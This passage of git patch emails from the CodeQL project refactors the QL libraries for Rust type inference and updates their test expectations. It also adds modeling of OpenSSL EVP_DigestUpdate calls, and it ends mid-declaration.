... } | E | main.rs:1160:5:1161:14 | S2 | +| main.rs:1177:40:1182:5 | { ... } | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1178:13:1178:13 | x | | file://:0:0:0:0 | Result | +| main.rs:1178:13:1178:13 | x | T | file://:0:0:0:0 | Result | +| main.rs:1178:13:1178:13 | x | T.T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1178:17:1178:42 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1178:17:1178:42 | ...::Ok(...) | T | file://:0:0:0:0 | Result | +| main.rs:1178:17:1178:42 | ...::Ok(...) | T.T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1178:28:1178:41 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1178:28:1178:41 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1178:39:1178:40 | S1 | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1180:17:1180:17 | x | | file://:0:0:0:0 | Result | +| main.rs:1180:17:1180:17 | x | T | file://:0:0:0:0 | Result | +| main.rs:1180:17:1180:17 | x | T.T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1180:17:1180:18 | TryExpr | | file://:0:0:0:0 | Result | +| main.rs:1180:17:1180:18 | TryExpr | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1180:17:1180:29 | ... .map(...) | | file://:0:0:0:0 | Result | +| main.rs:1181:9:1181:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1181:9:1181:22 | ...::Ok(...) | E | main.rs:1160:5:1161:14 | S2 | +| main.rs:1181:9:1181:22 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1181:20:1181:21 | S1 | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1185:30:1185:34 | input | | file://:0:0:0:0 | Result | +| main.rs:1185:30:1185:34 | input | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1185:30:1185:34 | input | T | main.rs:1185:20:1185:27 | T | +| main.rs:1185:69:1192:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1185:69:1192:5 | { ... } | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1185:69:1192:5 | { ... } | T | main.rs:1185:20:1185:27 | T | +| main.rs:1186:13:1186:17 | value | | main.rs:1185:20:1185:27 | T | +| main.rs:1186:21:1186:25 | input | | file://:0:0:0:0 | Result | +| main.rs:1186:21:1186:25 | input | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1186:21:1186:25 | input | T | main.rs:1185:20:1185:27 | T | +| main.rs:1186:21:1186:26 | TryExpr | | main.rs:1185:20:1185:27 | T | +| main.rs:1187:22:1187:38 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1187:22:1187:38 | ...::Ok(...) | T | main.rs:1185:20:1185:27 | T | +| main.rs:1187:22:1190:10 | ... .and_then(...) | | file://:0:0:0:0 | Result | +| main.rs:1187:33:1187:37 | value | | main.rs:1185:20:1185:27 | T | +| main.rs:1187:53:1190:9 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1187:53:1190:9 | { ... } | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1189:13:1189:34 | ...::Ok::<...>(...) | | file://:0:0:0:0 | Result | +| main.rs:1189:13:1189:34 | ...::Ok::<...>(...) | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1191:9:1191:23 | ...::Err(...) | | file://:0:0:0:0 | Result | +| main.rs:1191:9:1191:23 | ...::Err(...) | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1191:9:1191:23 | ...::Err(...) | T | main.rs:1185:20:1185:27 | T | +| main.rs:1191:21:1191:22 | S1 | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1195:37:1195:52 | try_same_error(...) | | file://:0:0:0:0 | Result | +| main.rs:1195:37:1195:52 | try_same_error(...) | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1195:37:1195:52 | try_same_error(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1199:37:1199:55 | try_convert_error(...) | | file://:0:0:0:0 | Result | +| main.rs:1199:37:1199:55 | try_convert_error(...) | E | main.rs:1160:5:1161:14 | S2 | +| main.rs:1199:37:1199:55 | try_convert_error(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1203:37:1203:49 | try_chained(...) | | file://:0:0:0:0 | Result | +| main.rs:1203:37:1203:49 | try_chained(...) | E | main.rs:1160:5:1161:14 | S2 | +| main.rs:1203:37:1203:49 | try_chained(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1207:37:1207:63 | try_complex(...) | | file://:0:0:0:0 | Result | +| main.rs:1207:37:1207:63 | try_complex(...) | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1207:37:1207:63 | try_complex(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1207:49:1207:62 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1207:49:1207:62 | ...::Ok(...) | E | main.rs:1157:5:1158:14 | S1 | +| main.rs:1207:49:1207:62 | ...::Ok(...) | T | main.rs:1157:5:1158:14 | S1 | +| main.rs:1207:60:1207:61 | S1 | | main.rs:1157:5:1158:14 | S1 | +| main.rs:1215:5:1215:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1216:5:1216:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1216:20:1216:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1216:41:1216:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | From 654d4104851e32dab384a5d7caacda7c216e970b Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Mon, 19 May 2025 15:35:40 +0200 Subject: [PATCH 201/535] Rust: Address PR feedback --- rust/ql/lib/codeql/rust/internal/Type.qll | 11 +- .../codeql/rust/internal/TypeInference.qll | 73 +++---- .../type-inference/type-inference.expected | 15 +- .../PathResolutionConsistency.expected | 0 .../typeinference/internal/TypeInference.qll | 179 ++++++++++-------- 5 files changed, 147 insertions(+), 131 deletions(-) delete mode 100644 rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index b50d0424a3de..9ffbf0614635 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -335,7 +335,16 @@ class SelfTypeParameter extends TypeParameter, TSelfTypeParameter { override Location getLocation() { result = trait.getLocation() } } -/** A type abstraction. */ +/** + * A type abstraction. I.e., a place in the program where type variables are + * introduced. + * + * Example: + * ```rust + * impl Foo { } + * // ^^^^^^ a type abstraction + * ``` + */ abstract class TypeAbstraction extends AstNode { abstract TypeParameter getATypeParameter(); } diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 76f6be69e09d..ad32c7810b8b 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -19,16 +19,6 @@ private module Input1 implements InputSig1 { class TypeParameter = T::TypeParameter; - /** - * A type abstraction. I.e., a place in the program where type variables are - * introduced. - * - * Example: - * ```rust - * impl Foo { } - * // ^^^^^^ a type abstraction - * ``` - */ class TypeAbstraction = T::TypeAbstraction; private newtype TTypeArgumentPosition = @@ -156,7 +146,7 @@ private module Input2 implements InputSig2 { exists(TypeParam param | abs = param.getTypeBoundList().getABound() and condition = param and - constraint = param.getTypeBoundList().getABound().getTypeRepr() + constraint = abs.(TypeBound).getTypeRepr() ) or // the implicit `Self` type parameter satisfies the trait @@ -968,22 +958,6 @@ private module Cached { ) } - pragma[nomagic] - private Type receiverRootType(Expr e) { - any(MethodCallExpr mce).getReceiver() = e and - result = inferType(e) - } - - pragma[nomagic] - private Type inferReceiverType(Expr e, TypePath path) { - exists(Type root | root = receiverRootType(e) | - // for reference types, lookup members in the type being referenced - if root = TRefType() - then result = inferType(e, TypePath::cons(TRefTypeParameter(), path)) - else result = inferType(e, path) - ) - } - private class ReceiverExpr extends Expr { MethodCallExpr mce; @@ -993,13 +967,22 @@ private module Cached { int getNumberOfArgs() { result = mce.getArgList().getNumberOfArgs() } - Type resolveTypeAt(TypePath path) { result = inferReceiverType(this, path) } + pragma[nomagic] + Type getTypeAt(TypePath path) { + exists(TypePath path0 | result = inferType(this, path0) | + path0 = TypePath::cons(TRefTypeParameter(), path) + or + not path0.isCons(TRefTypeParameter(), _) and + not (path0.isEmpty() and result = TRefType()) and + path = path0 + ) + } } /** Holds if a method for `type` with the name `name` and the arity `arity` exists in `impl`. */ pragma[nomagic] private predicate methodCandidate(Type type, string name, int arity, Impl impl) { - type = impl.(ImplTypeAbstraction).getSelfTy().(TypeReprMention).resolveType() and + type = impl.getSelfTy().(TypeReprMention).resolveType() and exists(Function f | f = impl.(ImplItemNode).getASuccessor(name) and f.getParamList().hasSelfParam() and @@ -1009,17 +992,16 @@ private module Cached { private module IsInstantiationOfInput implements IsInstantiationOfInputSig { pragma[nomagic] - predicate potentialInstantiationOf(ReceiverExpr receiver, TypeAbstraction impl, TypeMention sub) { - methodCandidate(receiver.resolveTypeAt(TypePath::nil()), receiver.getField(), + predicate potentialInstantiationOf( + ReceiverExpr receiver, TypeAbstraction impl, TypeMention constraint + ) { + methodCandidate(receiver.getTypeAt(TypePath::nil()), receiver.getField(), receiver.getNumberOfArgs(), impl) and - sub = impl.(ImplTypeAbstraction).getSelfTy() + constraint = impl.(ImplTypeAbstraction).getSelfTy() } - predicate relevantTypeMention(TypeMention sub) { - exists(TypeAbstraction impl | - methodCandidate(_, _, _, impl) and - sub = impl.(ImplTypeAbstraction).getSelfTy() - ) + predicate relevantTypeMention(TypeMention constraint) { + exists(Impl impl | methodCandidate(_, _, _, impl) and constraint = impl.getSelfTy()) } } @@ -1044,8 +1026,7 @@ private module Cached { */ private Function getMethodFromImpl(ReceiverExpr receiver) { exists(Impl impl | - IsInstantiationOf::isInstantiationOf(receiver, impl, - impl.(ImplTypeAbstraction).getSelfTy().(TypeReprMention)) and + IsInstantiationOf::isInstantiationOf(receiver, impl, _) and result = getMethodSuccessor(impl, receiver.getField()) ) } @@ -1059,19 +1040,17 @@ private module Cached { or // The type of `receiver` is a type parameter and the method comes from a // trait bound on the type parameter. - result = getTypeParameterMethod(receiver.resolveTypeAt(TypePath::nil()), receiver.getField()) + result = getTypeParameterMethod(receiver.getTypeAt(TypePath::nil()), receiver.getField()) ) } pragma[inline] private Type inferRootTypeDeref(AstNode n) { - exists(Type t | - t = inferType(n) and - // for reference types, lookup members in the type being referenced - if t = TRefType() - then result = inferType(n, TypePath::singleton(TRefTypeParameter())) - else result = t - ) + result = inferType(n) and + result != TRefType() + or + // for reference types, lookup members in the type being referenced + result = inferType(n, TypePath::singleton(TRefTypeParameter())) } pragma[nomagic] diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 27ea38cffd88..58ccb3f6e883 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1,6 +1,4 @@ testFailures -| main.rs:793:25:793:75 | //... | Missing result: type=a:A.S1 | -| main.rs:793:25:793:75 | //... | Missing result: type=a:MyThing | inferType | loop/main.rs:7:12:7:15 | SelfParam | | loop/main.rs:6:1:8:1 | Self [trait T1] | | loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:10:1:14:1 | Self [trait T2] | @@ -798,10 +796,13 @@ inferType | main.rs:788:9:788:9 | x | | main.rs:787:26:787:41 | T2 | | main.rs:788:9:788:14 | x.m1() | | main.rs:787:22:787:23 | T1 | | main.rs:791:56:791:56 | x | | main.rs:791:39:791:53 | T | -| main.rs:793:13:793:13 | a | | main.rs:741:20:741:22 | Tr2 | +| main.rs:793:13:793:13 | a | | main.rs:721:5:724:5 | MyThing | +| main.rs:793:13:793:13 | a | A | main.rs:731:5:732:14 | S1 | | main.rs:793:17:793:17 | x | | main.rs:791:39:791:53 | T | -| main.rs:793:17:793:22 | x.m1() | | main.rs:741:20:741:22 | Tr2 | -| main.rs:794:26:794:26 | a | | main.rs:741:20:741:22 | Tr2 | +| main.rs:793:17:793:22 | x.m1() | | main.rs:721:5:724:5 | MyThing | +| main.rs:793:17:793:22 | x.m1() | A | main.rs:731:5:732:14 | S1 | +| main.rs:794:26:794:26 | a | | main.rs:721:5:724:5 | MyThing | +| main.rs:794:26:794:26 | a | A | main.rs:731:5:732:14 | S1 | | main.rs:798:13:798:13 | x | | main.rs:721:5:724:5 | MyThing | | main.rs:798:13:798:13 | x | A | main.rs:731:5:732:14 | S1 | | main.rs:798:17:798:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | @@ -856,9 +857,7 @@ inferType | main.rs:816:17:816:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | | main.rs:816:30:816:31 | S1 | | main.rs:731:5:732:14 | S1 | | main.rs:817:13:817:13 | s | | main.rs:731:5:732:14 | S1 | -| main.rs:817:13:817:13 | s | | main.rs:741:20:741:22 | Tr2 | | main.rs:817:17:817:32 | call_trait_m1(...) | | main.rs:731:5:732:14 | S1 | -| main.rs:817:17:817:32 | call_trait_m1(...) | | main.rs:741:20:741:22 | Tr2 | | main.rs:817:31:817:31 | x | | main.rs:721:5:724:5 | MyThing | | main.rs:817:31:817:31 | x | A | main.rs:731:5:732:14 | S1 | | main.rs:819:13:819:13 | x | | main.rs:726:5:729:5 | MyThing2 | @@ -867,10 +866,8 @@ inferType | main.rs:819:17:819:34 | MyThing2 {...} | A | main.rs:733:5:734:14 | S2 | | main.rs:819:31:819:32 | S2 | | main.rs:733:5:734:14 | S2 | | main.rs:820:13:820:13 | s | | main.rs:721:5:724:5 | MyThing | -| main.rs:820:13:820:13 | s | | main.rs:741:20:741:22 | Tr2 | | main.rs:820:13:820:13 | s | A | main.rs:733:5:734:14 | S2 | | main.rs:820:17:820:32 | call_trait_m1(...) | | main.rs:721:5:724:5 | MyThing | -| main.rs:820:17:820:32 | call_trait_m1(...) | | main.rs:741:20:741:22 | Tr2 | | main.rs:820:17:820:32 | call_trait_m1(...) | A | main.rs:733:5:734:14 | S2 | | main.rs:820:31:820:31 | x | | main.rs:726:5:729:5 | MyThing2 | | main.rs:820:31:820:31 | x | A | main.rs:733:5:734:14 | S2 | diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected deleted file mode 100644 index e69de29bb2d1..000000000000 diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index b3cb99abcc56..177e1440575d 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -237,14 +237,20 @@ module Make1 Input1> { TypePath cons(TypeParameter tp, TypePath suffix) { result = singleton(tp).append(suffix) } } - /** A class that represents a type tree. */ - private signature class TypeTreeSig { - Type resolveTypeAt(TypePath path); + /** + * A class that has a type tree associated with it. + * + * The type tree is represented by the `getTypeAt` predicate, which for every + * path into the tree gives the type at that path. + */ + signature class HasTypeTreeSig { + /** Gets the type at `path` in the type tree. */ + Type getTypeAt(TypePath path); - /** Gets a textual representation of this type abstraction. */ + /** Gets a textual representation of this type. */ string toString(); - /** Gets the location of this type abstraction. */ + /** Gets the location of this type. */ Location getLocation(); } @@ -309,8 +315,8 @@ module Make1 Input1> { * Holds if * - `abs` is a type abstraction that introduces type variables that are * free in `condition` and `constraint`, - * - and for every instantiation of the type parameters the resulting - * `condition` satisifies the constraint given by `constraint`. + * - and for every instantiation of the type parameters from `abs` the + * resulting `condition` satisifies the constraint given by `constraint`. * * Example in C#: * ```csharp @@ -322,12 +328,12 @@ module Make1 Input1> { * * Example in Rust: * ```rust - * impl Trait for Type { } + * impl Trait for Type { } * // ^^^ `abs` ^^^^^^^^^^^^^^^ `condition` * // ^^^^^^^^^^^^^ `constraint` * ``` * - * To see how `abs` change the meaning of the type parameters that occur in + * To see how `abs` changes the meaning of the type parameters that occur in * `condition`, consider the following examples in Rust: * ```rust * impl Trait for T { } @@ -362,10 +368,11 @@ module Make1 Input1> { result = tm.resolveTypeAt(TypePath::nil()) } - signature module IsInstantiationOfInputSig { + /** Provides the input to `IsInstantiationOf`. */ + signature module IsInstantiationOfInputSig { /** - * Holds if `abs` is a type abstraction, `tm` occurs under `abs`, and - * `app` is potentially an application/instantiation of `abs`. + * Holds if `abs` is a type abstraction, `tm` occurs in the scope of + * `abs`, and `app` is potentially an application/instantiation of `abs`. * * For example: * ```rust @@ -378,8 +385,8 @@ module Make1 Input1> { * foo.bar(); * // ^^^ `app` * ``` - * Here `abs` introduces the type parameter `A` and `tm` occurs under - * `abs` (i.e., `A` is bound in `tm` by `abs`). On the last line, + * Here `abs` introduces the type parameter `A` and `tm` occurs in the + * scope of `abs` (i.e., `A` is bound in `tm` by `abs`). On the last line, * accessing the `bar` method of `foo` potentially instantiates the `impl` * block with a type argument for `A`. */ @@ -397,7 +404,7 @@ module Make1 Input1> { * Provides functionality for determining if a type is a possible * instantiation of a type mention containing type parameters. */ - module IsInstantiationOf Input> { + module IsInstantiationOf Input> { private import Input /** Gets the `i`th path in `tm` per some arbitrary order. */ @@ -422,7 +429,7 @@ module Make1 Input1> { ) { exists(Type t | tm.resolveTypeAt(path) = t and - if t = abs.getATypeParameter() then any() else app.resolveTypeAt(path) = t + if t = abs.getATypeParameter() then any() else app.getTypeAt(path) = t ) } @@ -436,6 +443,7 @@ module Make1 Input1> { if i = 0 then any() else satisfiesConcreteTypesFromIndex(app, abs, tm, i - 1) } + /** Holds if all the concrete types in `tm` also occur in `app`. */ pragma[nomagic] private predicate satisfiesConcreteTypes(App app, TypeAbstraction abs, TypeMention tm) { satisfiesConcreteTypesFromIndex(app, abs, tm, max(int i | exists(getNthPath(tm, i)))) @@ -463,18 +471,22 @@ module Make1 Input1> { private predicate typeParametersEqualFromIndex( App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp, Type t, int i ) { - potentialInstantiationOf(app, abs, tm) and + satisfiesConcreteTypes(app, abs, tm) and exists(TypePath path | path = getNthTypeParameterPath(tm, tp, i) and - t = app.resolveTypeAt(path) and - if i = 0 then any() else typeParametersEqualFromIndex(app, abs, tm, tp, t, i - 1) + t = app.getTypeAt(path) and + if i = 0 + then + // no need to compute this predicate if there is only one path + exists(getNthTypeParameterPath(tm, tp, 1)) + else typeParametersEqualFromIndex(app, abs, tm, tp, t, i - 1) ) } private predicate typeParametersEqual( App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp ) { - potentialInstantiationOf(app, abs, tm) and + satisfiesConcreteTypes(app, abs, tm) and tp = getNthTypeParameter(abs, _) and ( not exists(getNthTypeParameterPath(tm, tp, _)) @@ -487,7 +499,6 @@ module Make1 Input1> { ) } - /** Holds if all the concrete types in `tm` also occur in `app`. */ private predicate typeParametersHaveEqualInstantiationFromIndex( App app, TypeAbstraction abs, TypeMention tm, int i ) { @@ -499,12 +510,20 @@ module Make1 Input1> { ) } - /** All the places where the same type parameter occurs in `tm` are equal in `app. */ - pragma[inline] + /** + * Holds if all the places where the same type parameter occurs in `tm` + * are equal in `app`. + * + * TODO: As of now this only checks equality at the root of the types + * instantiated for type parameters. So, for instance, `Pair, Vec>` + * is mistakenly considered an instantiation of `Pair`. + */ + pragma[nomagic] private predicate typeParametersHaveEqualInstantiation( App app, TypeAbstraction abs, TypeMention tm ) { - potentialInstantiationOf(app, abs, tm) and + // We only need to check equality if the concrete types are satisfied. + satisfiesConcreteTypes(app, abs, tm) and ( not exists(getNthTypeParameter(abs, _)) or @@ -527,7 +546,7 @@ module Make1 Input1> { * - `Pair` is _not_ an instantiation of `Pair` */ predicate isInstantiationOf(App app, TypeAbstraction abs, TypeMention tm) { - satisfiesConcreteTypes(app, abs, tm) and + // `typeParametersHaveEqualInstantiation` suffices as it implies `satisfiesConcreteTypes`. typeParametersHaveEqualInstantiation(app, abs, tm) } } @@ -536,14 +555,14 @@ module Make1 Input1> { private module BaseTypes { /** * Holds if, when `tm1` is considered an instantiation of `tm2`, then at - * the type parameter `tp` is has the type `t` at `path`. + * the type parameter `tp` it has the type `t` at `path`. * * For instance, if the type `Map>` is considered an * instantion of `Map` then it has the type `int` at `K` and the * type `List` at `V`. */ bindingset[tm1, tm2] - predicate instantiatesWith( + private predicate instantiatesWith( TypeMention tm1, TypeMention tm2, TypeParameter tp, TypePath path, Type t ) { exists(TypePath prefix | @@ -551,19 +570,27 @@ module Make1 Input1> { ) } - module IsInstantiationOfInput implements IsInstantiationOfInputSig { + final private class FinalTypeMention = TypeMention; + + final private class TypeMentionTypeTree extends FinalTypeMention { + Type getTypeAt(TypePath path) { result = this.resolveTypeAt(path) } + } + + private module IsInstantiationOfInput implements + IsInstantiationOfInputSig + { pragma[nomagic] - private predicate typeCondition(Type type, TypeAbstraction abs, TypeMention lhs) { + private predicate typeCondition(Type type, TypeAbstraction abs, TypeMentionTypeTree lhs) { conditionSatisfiesConstraint(abs, lhs, _) and type = resolveTypeMentionRoot(lhs) } pragma[nomagic] - private predicate typeConstraint(Type type, TypeMention rhs) { + private predicate typeConstraint(Type type, TypeMentionTypeTree rhs) { conditionSatisfiesConstraint(_, _, rhs) and type = resolveTypeMentionRoot(rhs) } predicate potentialInstantiationOf( - TypeMention condition, TypeAbstraction abs, TypeMention constraint + TypeMentionTypeTree condition, TypeAbstraction abs, TypeMention constraint ) { exists(Type type | typeConstraint(type, condition) and typeCondition(type, abs, constraint) @@ -571,7 +598,10 @@ module Make1 Input1> { } } - // The type mention `condition` satisfies `constraint` with the type `t` at the path `path`. + /** + * The type mention `condition` satisfies `constraint` with the type `t` + * at the path `path`. + */ predicate conditionSatisfiesConstraintTypeAt( TypeAbstraction abs, TypeMention condition, TypeMention constraint, TypePath path, Type t ) { @@ -584,18 +614,17 @@ module Make1 Input1> { conditionSatisfiesConstraint(abs, condition, midSup) and // NOTE: `midAbs` describe the free type variables in `midSub`, hence // we use that for instantiation check. - IsInstantiationOf::isInstantiationOf(midSup, midAbs, - midSub) and - ( - conditionSatisfiesConstraintTypeAt(midAbs, midSub, constraint, path, t) and - not t = abs.getATypeParameter() - or - exists(TypePath prefix, TypePath suffix, TypeParameter tp | - tp = abs.getATypeParameter() and - conditionSatisfiesConstraintTypeAt(midAbs, midSub, constraint, prefix, tp) and - instantiatesWith(midSup, midSub, tp, suffix, t) and - path = prefix.append(suffix) - ) + IsInstantiationOf::isInstantiationOf(midSup, + midAbs, midSub) + | + conditionSatisfiesConstraintTypeAt(midAbs, midSub, constraint, path, t) and + not t = midAbs.getATypeParameter() + or + exists(TypePath prefix, TypePath suffix, TypeParameter tp | + tp = midAbs.getATypeParameter() and + conditionSatisfiesConstraintTypeAt(midAbs, midSub, constraint, prefix, tp) and + instantiatesWith(midSup, midSub, tp, suffix, t) and + path = prefix.append(suffix) ) ) } @@ -954,35 +983,37 @@ module Make1 Input1> { } private module AccessConstraint { - private newtype TTRelevantAccess = - TRelevantAccess(Access a, AccessPosition apos, TypePath path, Type constraint) { - exists(DeclarationPosition dpos | - accessDeclarationPositionMatch(apos, dpos) and - typeParameterConstraintHasTypeParameter(a.getTarget(), dpos, path, _, constraint, _, _) - ) + predicate relevantAccessConstraint( + Access a, AccessPosition apos, TypePath path, Type constraint + ) { + exists(DeclarationPosition dpos | + accessDeclarationPositionMatch(apos, dpos) and + typeParameterConstraintHasTypeParameter(a.getTarget(), dpos, path, _, constraint, _, _) + ) + } + + private newtype TRelevantAccess = + MkRelevantAccess(Access a, AccessPosition apos, TypePath path) { + relevantAccessConstraint(a, apos, path, _) } /** - * If the access `a` for `apos` and `path` has the inferred root type - * `type` and type inference requires it to satisfy the constraint - * `constraint`. + * If the access `a` for `apos` and `path` has an inferred type which + * type inference requires to satisfy some constraint. */ - private class RelevantAccess extends TTRelevantAccess { + private class RelevantAccess extends MkRelevantAccess { Access a; AccessPosition apos; TypePath path; - Type constraint0; - RelevantAccess() { this = TRelevantAccess(a, apos, path, constraint0) } + RelevantAccess() { this = MkRelevantAccess(a, apos, path) } - Type resolveTypeAt(TypePath suffix) { - a.getInferredType(apos, path.append(suffix)) = result - } + Type getTypeAt(TypePath suffix) { a.getInferredType(apos, path.append(suffix)) = result } /** Holds if this relevant access has the type `type` and should satisfy `constraint`. */ predicate hasTypeConstraint(Type type, Type constraint) { type = a.getInferredType(apos, path) and - constraint = constraint0 + relevantAccessConstraint(a, apos, path, constraint) } string toString() { @@ -1013,9 +1044,10 @@ module Make1 Input1> { * Holds if `at` satisfies `constraint` through `abs`, `sub`, and `constraintMention`. */ private predicate hasConstraintMention( - RelevantAccess at, TypeAbstraction abs, TypeMention sub, TypeMention constraintMention + RelevantAccess at, TypeAbstraction abs, TypeMention sub, Type constraint, + TypeMention constraintMention ) { - exists(Type type, Type constraint | at.hasTypeConstraint(type, constraint) | + exists(Type type | at.hasTypeConstraint(type, constraint) | not exists(countConstraintImplementations(type, constraint)) and conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, _, _) and resolveTypeMentionRoot(sub) = abs.getATypeParameter() and @@ -1046,18 +1078,17 @@ module Make1 Input1> { RelevantAccess at, TypeAbstraction abs, TypeMention sub, Type t0, TypePath prefix0, TypeMention constraintMention | - at = TRelevantAccess(a, apos, prefix, constraint) and - hasConstraintMention(at, abs, sub, constraintMention) and - conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, prefix0, t0) and - ( - not t0 = abs.getATypeParameter() and t = t0 and path = prefix0 - or - t0 = abs.getATypeParameter() and - exists(TypePath path3, TypePath suffix | - sub.resolveTypeAt(path3) = t0 and - at.resolveTypeAt(path3.append(suffix)) = t and - path = prefix0.append(suffix) - ) + at = MkRelevantAccess(a, apos, prefix) and + hasConstraintMention(at, abs, sub, constraint, constraintMention) and + conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, prefix0, t0) + | + not t0 = abs.getATypeParameter() and t = t0 and path = prefix0 + or + t0 = abs.getATypeParameter() and + exists(TypePath path3, TypePath suffix | + sub.resolveTypeAt(path3) = t0 and + at.getTypeAt(path3.append(suffix)) = t and + path = prefix0.append(suffix) ) ) } From 97124745ad06531ce37bbf8d0cdc7f5106716810 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 19 May 2025 10:43:32 -0400 Subject: [PATCH 202/535] Quantum/Crypto:Adding interemediate hashing to the openssl (e.g., modeling final and update digest separately). --- .../OpenSSL/Operations/EVPHashOperation.qll | 68 +++++++++++-------- 1 file changed, 41 insertions(+), 27 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index a187b62a7bdd..6d0013df9d58 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -16,6 +16,16 @@ abstract class EVP_Hash_Operation extends OpenSSLOperation, Crypto::HashOperatio EVP_Hash_Initializer getInitCall() { CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) } + + /** + * By default, the algorithm value comes from the init call. + * There are variants where this isn't true, in which case the + * subclass should override this method. + */ + override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { + AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), + DataFlow::exprNode(this.getInitCall().getAlgorithmArg())) + } } private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { @@ -88,30 +98,34 @@ class EVP_Digest_Operation extends EVP_Hash_Operation { override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } } -// // override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() { -// // AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(), -// // DataFlow::exprNode(this.getInitCall().getAlgorithmArg())) -// // } -// // ***** TODO *** complete modelinlg for hash operations, but have consideration for terminal and non-terminal (non intermedaite) steps -// // see the JCA. May need to update the cipher operations similarly -// // ALSO SEE cipher for how we currently model initialization of the algorithm through an init call -// class EVP_DigestUpdate_Operation extends EVP_Hash_Operation { -// EVP_DigestUpdate_Operation() { -// this.(Call).getTarget().getName() = "EVP_DigestUpdate" and -// isPossibleOpenSSLFunction(this.(Call).getTarget()) -// } -// override Crypto::AlgorithmConsumer getAlgorithmConsumer() { -// this.getInitCall().getAlgorithmArg() = result -// } -// } -// class EVP_DigestFinal_Variants_Operation extends EVP_Hash_Operation { -// EVP_DigestFinal_Variants_Operation() { -// this.(Call).getTarget().getName() in [ -// "EVP_DigestFinal", "EVP_DigestFinal_ex", "EVP_DigestFinalXOF" -// ] and -// isPossibleOpenSSLFunction(this.(Call).getTarget()) -// } -// override Crypto::AlgorithmConsumer getAlgorithmConsumer() { -// this.getInitCall().getAlgorithmArg() = result -// } -// } + +// NOTE: not modeled as hash operations, these are intermediate calls +class EVP_Digest_Update_Call extends Call { + EVP_Digest_Update_Call() { this.(Call).getTarget().getName() in ["EVP_DigestUpdate"] } + + Expr getInputArg() { result = this.(Call).getArgument(1) } + + DataFlow::Node getInputNode() { result.asExpr() = this.getInputArg() } + + Expr getContextArg() { result = this.(Call).getArgument(0) } +} + +class 